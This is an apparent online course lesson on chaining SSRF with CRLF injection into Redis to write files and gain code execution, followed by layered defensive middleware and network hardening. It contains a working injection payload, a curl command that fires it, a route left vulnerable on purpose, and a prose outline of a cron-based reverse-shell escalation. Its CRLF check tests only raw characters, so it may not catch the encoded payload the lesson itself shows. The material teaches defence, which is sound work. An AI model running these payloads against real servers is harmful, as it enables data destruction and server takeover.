Introduction: From Data Theft to System Compromise

Throughout this course, you have seen SSRF vulnerabilities grow progressively more dangerous. You started by reading AWS metadata and internal API responses, then learned how attackers bypass basic defenses using alternative IP formats and redirects. In the previous lesson, you exploited blind SSRF through timing analysis and DNS exfiltration to map networks without seeing response content.

Now you will learn the most devastating SSRF attack: chaining the vulnerability with internal service exploitation to achieve Remote Code Execution (RCE). When attackers combine SSRF with CRLF injection techniques, they can execute arbitrary commands on your server, install backdoors, and take complete control of your infrastructure. This lesson covers how Redis and similar internal services become attack targets, introduces CRLF injection as the primary exploitation technique for HTTP-based attacks, and shows you how to build defense-in-depth protections using protocol restrictions, port allowlists, and network segmentation.

Why Internal Services Are Easy Targets

Many organizations follow a "firewall mentality" where they assume anything inside the network perimeter is trustworthy. This leads to a dangerous pattern: internal services like Redis, Memcached, Elasticsearch, and internal APIs run without authentication because they are "only accessible from inside the network." However, SSRF vulnerabilities completely break this assumption by turning your own application server into a proxy that bridges the external attacker to the internal network.

Why Redis is particularly vulnerable:

  • No authentication by default — administrators assume network isolation provides sufficient security
  • Text-based protocol — commands like SET key value are sent as plain ASCII text over TCP, making them exploitable through HTTP requests
  • Tolerant parsing — Redis can extract valid commands even when mixed with HTTP garbage data
  • Powerful features — the CONFIG command allows changing where Redis writes database files, which attackers abuse to write malicious files to sensitive locations

Other vulnerable internal services:

  • Memcached — text-based protocol for caching, typically runs without authentication
  • Elasticsearch — powerful HTTP API that allows data querying, index manipulation, and script execution (in older versions)
  • Internal REST APIs — often trust requests simply because they originate from the application server's IP address

The principle of network-level trust fails spectacularly in the presence of SSRF. When your application makes an HTTP request to a user-controlled URL, that request originates from the application server itself, carrying the server's IP address and network context.

From the perspective of internal services:

  • Redis sees a connection from the application server and processes commands without question
  • Cloud metadata services see a request from an EC2 instance and return credentials
  • Internal APIs see a familiar source IP and bypass authentication

This is why SSRF is so dangerous — it inherits all the trust your infrastructure places in your own application servers.

CRLF Injection: The Primary HTTP-Based Attack Vector

When exploiting internal services through SSRF, the most practical technique in modern web applications is CRLF injection. The CRLF sequence (\r\n or URL-encoded as %0d%0a) represents a newline in network protocols. Many protocols, including Redis, use newlines to separate commands, so injecting CRLF sequences lets attackers break out of the current request context and inject their own commands.

Why CRLF injection is the primary technique:

Most modern HTTP client libraries like axios (which our pastebin uses), fetch, and requests only support http:// and https:// protocols. They will reject or throw errors for exotic protocols like gopher://, file://, or dict://. This means that in real-world applications built with these libraries, attackers must rely on CRLF injection over HTTP to communicate with text-based internal services.

How CRLF injection works with Redis:

Redis is remarkably tolerant of garbage data. When you send an HTTP request to Redis on port 6379, the HTTP headers (like GET / HTTP/1.1 and Host: 127.0.0.1) are garbage from Redis's perspective. However, Redis simply ignores what it cannot parse and looks for valid commands within the data stream. By injecting CRLF sequences followed by Redis commands into the URL path, attackers can smuggle commands that Redis will execute.

URL encoding considerations:

  • Spaces → %20
  • Newlines → %0d%0a (CR + LF)
  • Asterisks → %2a
  • Dollar signs → %24

When crafting CRLF injection payloads, attackers must carefully encode every special character to ensure the payload survives URL parsing and arrives at Redis with the intended structure.

A Note on the Gopher Protocol

You may encounter references to the gopher protocol (gopher://) in SSRF literature and security research. Gopher is an ancient internet protocol that allows sending raw TCP data directly to a target without HTTP headers — giving attackers complete control over every byte sent. This makes it theoretically ideal for exploiting text-based services like Redis.

However, gopher is not supported by modern HTTP client libraries. Libraries like axios, node-fetch, requests (Python), and others validate the protocol scheme and reject anything other than http:// and https://. Attempting to use gopher:// with these libraries will result in an error, not a connection to the target service.

When gopher attacks are possible:

  • Applications using older or custom HTTP clients that support arbitrary protocols
  • Proxy services that forward requests without protocol validation
  • Security testing tools like curl (which supports gopher natively)

For our pastebin application (and most modern web applications), CRLF injection over HTTP is the practical attack vector, while gopher remains a theoretical consideration for legacy systems or specialized environments.

The Vulnerable Endpoint

The pastebin application has an endpoint that imports content from URLs. This endpoint makes HTTP requests to user-provided URLs and returns the response content. Without proper validation, it accepts any destination including internal services:

import express from 'express';
import axios from 'axios';

const router = express.Router();

router.post('/from-url', async (req, res) => {
  const { url } = req.body;
  
  const response = await axios.get(url, {
    timeout: 10000,
    validateStatus: () => true
  });
  
  res.json({ content: response.data });
});

export default router;

Why this is dangerous:

  • Accepts any url parameter without validation
  • validateStatus: () => true treats any HTTP status code as success
  • Allows requests to any port, including internal services like Redis on 6379
The CRLF Injection Attack

The attack works by injecting Redis commands into the URL path using CRLF sequences. When axios makes an HTTP request to http://127.0.0.1:6379/, it sends something like:

GET /[path] HTTP/1.1
Host: 127.0.0.1:6379
...other headers...

By crafting a path that contains %0d%0a (CRLF) followed by Redis commands, we can inject commands that Redis will execute. Redis ignores the HTTP garbage and extracts the valid commands from the data stream.

Attack payload breakdown:

http://127.0.0.1:6379/%0d%0aFLUSHALL%0d%0aSET%201%20RCE_payload%0d%0aCONFIG%20SET%20dir%20/tmp%0d%0aCONFIG%20SET%20dbfilename%20exploit%0d%0aSAVE%0d%0a

When URL-decoded and sent to Redis, this becomes:

GET /
FLUSHALL
SET 1 RCE_payload
CONFIG SET dir /tmp
CONFIG SET dbfilename exploit
SAVE
 HTTP/1.1
Host: 127.0.0.1:6379

What each injected command does:

  1. FLUSHALL — deletes all existing keys in Redis (optional but ensures clean exploit)
  2. SET 1 RCE_payload — stores a payload value (in a real attack, this would contain a cron job or SSH key)
  3. CONFIG SET dir /tmp — tells Redis to save database file in /tmp (or /var/spool/cron/ for cron-based RCE)
  4. CONFIG SET dbfilename exploit — names the output file
  5. SAVE — writes the in-memory database to disk
Executing the Attack

To exploit the vulnerable endpoint using CRLF injection:

# CRLF injection attack targeting Redis
curl -X POST http://localhost:3001/api/import/from-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1:6379/%0d%0aFLUSHALL%0d%0aSET%201%20RCE_via_SSRF%0d%0aCONFIG%20SET%20dir%20/tmp%0d%0aCONFIG%20SET%20dbfilename%20exploit%0d%0aSAVE%0d%0a"}'

When this request is processed:

  1. The vulnerable endpoint receives the URL
  2. Axios makes an HTTP GET request to 127.0.0.1:6379 with the crafted path
  3. Redis receives the connection and parses the data stream
  4. Redis ignores the HTTP headers but executes the injected commands
  5. The payload is written to /tmp/exploit

In a real attack scenario, the attacker would:

  • Set the directory to /var/spool/cron/ (cron job directory)
  • Set the filename to root (to create a cron job for the root user)
  • Include a reverse shell command in the SET payload

The cron daemon would then execute the malicious job, giving the attacker shell access.

Why Redis Tolerates This Attack

Redis's protocol tolerance is both a feature and a security liability:

  • Redis uses a simple text-based protocol (RESP - Redis Serialization Protocol)
  • It processes commands line by line
  • Invalid commands or garbage data generate errors but don't terminate the connection
  • Valid commands embedded in garbage are still executed

This tolerance, combined with powerful administrative commands like CONFIG, makes Redis an attractive target for SSRF exploitation.

Building Comprehensive SSRF Defense Middleware

Throughout previous lessons, you implemented protocol restrictions, port allowlisting, and DNS-based IP validation. Now you'll add the final critical layer: CRLF injection prevention.

In this lesson, you'll see how to implement a seven-layer defense-in-depth middleware that protects against SSRF escalation to RCE. We'll walk through the first five layers here, and in the upcoming practice, you'll complete the implementation by adding IP range validation and CRLF injection prevention:

  1. URL parsing and validation (ensure proper format)
  2. Protocol blocklist (block dangerous protocols)
  3. Protocol allowlist (only allow http/https)
  4. Port restriction (only allow standard web ports: 80, 443)
  5. DNS resolution (convert hostnames to IPs)
  6. IP range validation (block internal networks) — you'll implement this in practice
  7. CRLF injection prevention (block protocol smuggling) — you'll implement this in practice
Setting Up the Middleware

Create the middleware file and define security parameters:

import { URL } from 'url';
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';

const ALLOWED_PORTS = [80, 443];
const BLOCKED_PROTOCOLS = ['gopher:', 'file:', 'ftp:', 'dict:', 'ldap:'];

Why these restrictions matter:

  • ALLOWED_PORTS — restricts communication to standard web ports, preventing access to internal services like Redis (6379), PostgreSQL (5432), etc.
  • BLOCKED_PROTOCOLS — while modern HTTP clients already reject these, explicitly blocking them provides defense-in-depth and protects against future library changes or alternative code paths
Layer 1: URL Parsing and Validation
export async function ssrfGuard(urlString: string): Promise<void> {
  // Parse URL with error handling
  let parsedUrl: URL;
  try {
    parsedUrl = new URL(urlString);
  } catch {
    throw new Error('Invalid URL format');
  }

The first defense layer validates URL format. Malformed URLs might bypass subsequent validation checks, so we catch them immediately.

Layer 2: Protocol Restriction
  // Block dangerous protocols (defense-in-depth)
  if (BLOCKED_PROTOCOLS.includes(parsedUrl.protocol)) {
    throw new Error('Protocol not allowed');
  }
  
  // Only allow http/https (positive security model)
  if (!['http:', 'https:'].includes(parsedUrl.protocol)) {
    throw new Error('Only HTTP(S) allowed');
  }

Defense-in-depth approach:

  • First check blocks known dangerous protocols explicitly
  • Second check uses positive security (only allow known-good)
  • If someone forgets to block a new dangerous protocol, the allowlist catches it
  • Even though axios already rejects non-HTTP protocols, this explicit check provides logging, consistent error messages, and protection if the HTTP client changes
Layer 3: Port Validation
  // Restrict ports
  const port = parsedUrl.port 
    ? Number(parsedUrl.port) 
    : (parsedUrl.protocol === 'https:' ? 443 : 80);
    
  if (!ALLOWED_PORTS.includes(port)) {
    throw new Error('Port not allowed');
  }

This is the critical defense against Redis exploitation. Even with CRLF injection possible, attackers cannot reach Redis on port 6379 if we only allow ports 80 and 443. This single check blocks the entire class of internal service attacks we've discussed.

Layer 4: DNS Resolution and IP Validation
  // Resolve and validate IP
  let addresses: string[];
  try {
    addresses = await dns.resolve4(parsedUrl.hostname);
  } catch {
    throw new Error('DNS resolution failed');
  }
  
  for (const ip of addresses) {
    const addr = ipaddr.parse(ip);
    if (addr.range() !== 'unicast') {
      throw new Error('Internal IP not allowed');
    }
  }

Critical defense against internal network access:

  • Performs DNS lookup to get actual IP addresses
  • Handles DNS-based bypasses (domains pointing to internal IPs)
  • Only accepts unicast (publicly routable) addresses
  • Blocks: 127.0.0.1, 192.168.x.x, 10.x.x.x, 172.16-31.x.x, 169.254.169.254
Layer 5: CRLF Injection Prevention
  // Block CRLF injection attempts
  if (/[\r\n]/.test(urlString)) {
    throw new Error('Invalid characters in URL');
  }
}

Raw CRLF characters should never appear in properly formatted URLs. While browsers and most clients encode these characters, explicitly checking for them catches direct API attacks where an attacker might send raw newlines. This prevents the protocol smuggling attacks we demonstrated against Redis.

Integrating the Middleware
import express from 'express';
import axios from 'axios';
import { ssrfGuard } from '../middleware/ssrfProtection';

const router = express.Router();

router.post('/from-url', async (req, res) => {
  const { url } = req.body;
  
  try {
    await ssrfGuard(url);
  } catch (error) {
    return res.status(400).json({ error: error.message });
  }
  
  const response = await axios.get(url, {
    timeout: 10000,
    validateStatus: () => true
  });
  
  res.json({ content: response.data });
});

export default router;

The protected endpoint validates all URLs before making any external requests. If validation fails, the request is rejected with a 400 Bad Request response.

Why this layered approach works:

Even if one defense fails, others provide backup protection:

  • CRLF injection attempted → CRLF check blocks it
  • CRLF check bypassed → Port restriction blocks Redis access
  • Port restriction bypassed → IP validation blocks internal networks
  • DNS rebinding attempted → IP validation catches the internal IP

This is defense-in-depth: multiple independent layers that must all be bypassed for an attack to succeed.

Network Segmentation as Defense-in-Depth

While code-level defenses are essential, they are not sufficient on their own. Application code can have bugs, new vulnerabilities might be discovered in HTTP libraries, and zero-day exploits might bypass validation logic. Network segmentation operates independently of your application code and provides a critical safety net.

The Principle of Least Privilege

Your application servers only need to communicate with specific internal services for legitimate business reasons. For example:

  • Web application needs: Redis cache, PostgreSQL database, authentication API
  • Web application doesn't need: metrics service, backup server, CI/CD system, VPN gateway

Implementation strategy:

  1. Deploy application servers in one subnet (10.0.1.0/24)
  2. Deploy Redis servers in different subnet (10.0.2.0/24)
  3. Configure security groups/firewall rules:
    • Allow: 10.0.1.0/2410.0.2.0/24 on port 6379
    • Deny: everything else

Result: Even if an attacker achieves SSRF and bypasses code-level validation, the network infrastructure blocks unauthorized connections.

Enforcement Technologies

Cloud platforms:

  • AWS Security Groups — define inbound/outbound rules based on IP ranges and ports
  • Azure Network Security Groups — similar functionality for Azure infrastructure
  • GCP Firewall Rules — protect Google Cloud resources

On-premises:

  • Enterprise firewall appliances
  • Linux iptables rules
  • Hardware network segmentation

Pattern: Deny by default, allow only necessary connections, log everything.

Authentication as Final Defense Layer

Run internal services with authentication even behind firewalls:

  • Redis — configure requirepass directive to require passwords
  • PostgreSQL/MySQL — strong passwords and limited user privileges
  • Internal APIs — use API keys or JWT tokens even for internal callers

Defense-in-depth result:

Even if an attacker achieves SSRF AND the network firewall fails (misconfiguration or lateral movement), they still cannot interact with the service without valid credentials. Multiple independent security controls must all be bypassed for attacks to succeed.

Summary and Practice

You have completed your journey through SSRF vulnerabilities, progressing from basic data theft to the ultimate attack: remote code execution through CRLF injection. You learned that internal services like Redis become dangerous targets when they assume network-level trust, that CRLF injection enables command smuggling through HTTP requests to text-based services, and that attackers chain these capabilities to write malicious files and potentially spawn reverse shells.

Your defense-in-depth approach combines protocol restrictions, port allowlists, DNS-based IP validation, and CRLF injection prevention at the code level with network segmentation and service authentication at the infrastructure level.

In the upcoming practice exercises, you will exploit the vulnerable URL import endpoint to achieve command execution against Redis using CRLF injection, then implement the complete ssrfGuard middleware to eliminate all SSRF attack vectors. Congratulations on completing this course — you now understand both the attacker's perspective and the defender's toolbox for one of the most dangerous web application vulnerabilities.

Sign up
Join the 1M+ learners on CodeSignal
Be a part of our community of 1M+ users who develop and demonstrate their skills on CodeSignal